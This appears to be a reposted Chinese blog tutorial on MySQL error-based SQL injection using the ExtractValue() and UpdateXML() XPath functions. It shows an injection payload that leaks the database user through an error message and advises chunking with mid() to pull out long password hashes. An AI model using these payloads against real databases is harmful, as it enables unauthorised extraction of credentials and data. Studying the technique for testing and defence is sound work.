mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后
主要涉及两个函数:ExtractValue()和UpdateXML()
首先看这两个函数的使用示例:
先建立一个带XML格式的示例数据库
CREATE TABLE x (doc VARCHAR(150));
INSERT INTO x VALUES
(‘
<book>
<title>A guide to the SQL standard</title>
<author>
<initial>CJ</initial>
<surname>Date</surname>
</author>
</book>
‘);
下面先看看ExtractValue()的用法吧
语法:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从目标XML中返回包含所查询值的字符串
示例:
mysql> SELECT EXTRACTVALUE(doc,’/book/author/initial’) FROM x;
+——————————————+
| EXTRACTVALUE(doc,’/book/author/initial’) |
+——————————————+
| CJ |
+——————————————+
再来看UpdateXML()用法
语法
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
示例:
mysql> select UpdateXML(doc,’/book/author/initial’,’!!’) from x;
+———————————————————-+
| UpdateXML(doc,’/book/author/initial’,’!!’) |
+———————————————————-+
|
<book>
<title>A guide to the SQL standard</title>
<author>
!!
<surname>Date</surname>
</author>
</book> |
+———————————————————-+
现在问题就很明显了,这两个函数的XPath_string必须满足Xpath语法,否则就会报错,这样我们就可以利用此报错来爆出我们想要的信息。
比如:
mysql> select extractvalue(1,concat(0x24, (select user())));
ERROR 1105 (HY000): Unknown XPATH variable at: ‘$root@localhost’
来看具体利用
这里还会有个问题,extractvalue只报出32位,而本示例的密码是经过md5以及sha加密的,总共有75位,所以在这里我们使用mid函数,多暴几次就是了。
UpdateXML也是同样的用法,只是最后多加一个参数而已,这里就不示例了。。。
ps:extractvalue只能报出32位,所以在使用时要注意配合mid()函数来进行分段报错注入。
MID()函数
SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。
MID() 函数语法为:
SELECT MID(ColumnName, Start [, Length]) FROM TableName
注:字符串从1开始,而非0,Length是可选项,如果没有提供,MID()函数将返回余下的字符串。
举个简单的例子吧:
mysql> SELECT MID('NowaMagic', 5, 5); +------------------------+ | MID('NowaMagic', 5, 5) | +------------------------+ | Magic | +------------------------+ 1 row in set
就这么简单的一个函数,讲完了~
转载请注明:jinglingshu的博客 » MYSQL注入之XPATH 爆信息分析